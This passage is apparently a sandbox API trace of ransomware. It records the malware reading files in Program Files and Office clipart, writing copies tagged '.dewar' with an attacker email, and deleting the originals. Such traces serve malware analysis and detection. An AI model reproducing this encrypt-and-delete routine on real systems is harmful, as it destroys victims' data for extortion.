oledb\\10\\msmdlocal.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0270.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll")) returned 0 [0270.037] SetEvent (hEvent=0x118) returned 1 [0270.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0270.557] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=14872) returned 1 [0270.557] CloseHandle (hObject=0x1e0) returned 1 [0270.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0270.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0270.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0270.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0270.702] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0270.702] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0270.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0270.703] ReadFile (in: hFile=0x1e0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x3a18, lpOverlapped=0x0) returned 1 [0270.708] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x3a20, lpOverlapped=0x0) returned 1 [0270.711] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0270.712] CloseHandle (hObject=0x1e0) returned 1 [0270.712] CloseHandle (hObject=0x140) returned 1 [0270.713] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0 [0270.713] SetEvent (hEvent=0x118) returned 1 [0270.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\latino powers economics.exe" (normalized: "c:\\program files\\microsoft analysis services\\latino powers economics.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0270.716] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=78336) returned 1 [0270.716] CloseHandle (hObject=0x140) returned 1 [0270.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\latino powers economics.exe" (normalized: "c:\\program files\\microsoft analysis services\\latino powers economics.exe")) returned 0x20 [0270.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\latino powers economics.exe" (normalized: "c:\\program files\\microsoft analysis services\\latino powers economics.exe")) returned 0x20 [0270.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\latino powers economics.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\latino powers economics.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0270.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\latino powers economics.exe" (normalized: "c:\\program files\\microsoft analysis services\\latino powers economics.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\skype.exe" (normalized: "c:\\program files\\microsoft analysis services\\skype.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0270.720] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=78336) returned 1 [0270.720] CloseHandle (hObject=0x140) returned 1 [0270.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\skype.exe" (normalized: "c:\\program files\\microsoft analysis services\\skype.exe")) returned 0x20 [0270.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\skype.exe" (normalized: "c:\\program files\\microsoft analysis services\\skype.exe")) returned 0x20 [0270.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\skype.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\skype.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0270.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\skype.exe" (normalized: "c:\\program files\\microsoft analysis services\\skype.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0270.764] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9024) returned 1 [0270.764] CloseHandle (hObject=0x140) returned 1 [0270.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0270.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0270.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0270.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0270.765] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0270.766] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0270.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0270.778] ReadFile (in: hFile=0x140, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x2340, lpOverlapped=0x0) returned 1 [0270.783] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x2350, lpOverlapped=0x0) returned 1 [0270.787] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0270.787] CloseHandle (hObject=0x140) returned 1 [0270.787] CloseHandle (hObject=0x1e0) returned 1 [0270.790] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0 [0271.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0271.665] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7216) returned 1 [0271.665] CloseHandle (hObject=0x208) returned 1 [0271.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0271.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0271.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0271.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0271.666] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0271.666] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0271.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0271.668] ReadFile (in: hFile=0x208, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x1c30, lpOverlapped=0x0) returned 1 [0271.673] WriteFile (in: hFile=0x128, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1c40, lpOverlapped=0x0) returned 1 [0271.675] WriteFile (in: hFile=0x128, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0271.676] CloseHandle (hObject=0x208) returned 1 [0271.676] CloseHandle (hObject=0x128) returned 1 [0271.678] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0 [0271.938] SetEvent (hEvent=0x118) returned 1 [0271.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0273.257] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6684) returned 1 [0273.257] CloseHandle (hObject=0x128) returned 1 [0273.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0273.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0273.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0274.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0274.493] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0274.493] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0274.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0275.755] ReadFile (in: hFile=0x128, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x1a1c, lpOverlapped=0x0) returned 1 [0275.761] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1a20, lpOverlapped=0x0) returned 1 [0275.764] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0275.764] CloseHandle (hObject=0x128) returned 1 [0275.764] CloseHandle (hObject=0x1b0) returned 1 [0275.774] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0 [0275.775] SetEvent (hEvent=0x118) returned 1 [0275.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0275.777] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3140) returned 1 [0275.777] CloseHandle (hObject=0x1b0) returned 1 [0275.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0275.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0275.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0275.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0275.778] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0275.778] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0275.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0275.789] ReadFile (in: hFile=0x1b0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0xc44, lpOverlapped=0x0) returned 1 [0275.793] WriteFile (in: hFile=0x128, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xc50, lpOverlapped=0x0) returned 1 [0275.796] WriteFile (in: hFile=0x128, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0275.797] CloseHandle (hObject=0x1b0) returned 1 [0275.797] CloseHandle (hObject=0x128) returned 1 [0275.799] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0 [0275.799] SetEvent (hEvent=0x118) returned 1 [0275.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0276.088] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=12482) returned 1 [0276.089] CloseHandle (hObject=0x1b0) returned 1 [0276.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0276.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0276.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0276.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0276.090] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0276.090] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0276.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0282.885] ReadFile (in: hFile=0x1b0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x30c2, lpOverlapped=0x0) returned 1 [0282.889] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x30d0, lpOverlapped=0x0) returned 1 [0282.893] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0282.893] CloseHandle (hObject=0x1b0) returned 1 [0282.893] CloseHandle (hObject=0x1e0) returned 1 [0282.895] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0 [0282.895] SetEvent (hEvent=0x118) returned 1 [0282.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0282.897] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5253) returned 1 [0282.897] CloseHandle (hObject=0x1e0) returned 1 [0282.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0282.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft 